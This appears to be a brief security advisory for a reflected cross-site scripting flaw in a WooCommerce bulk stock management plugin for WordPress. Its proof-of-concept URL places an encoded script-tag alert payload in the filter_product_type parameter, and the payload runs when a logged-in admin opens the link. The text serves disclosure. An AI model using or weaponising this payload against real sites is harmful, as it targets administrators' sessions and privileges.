The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open the URL below
https://example.com/wp-admin/edit.php?post_type=product&page=woocommerce-bulk-stock-management&filter_product_type=%22%3E%3Cscript%3Ealert%28/XSS/%29%3B%3C%2Fscript%3E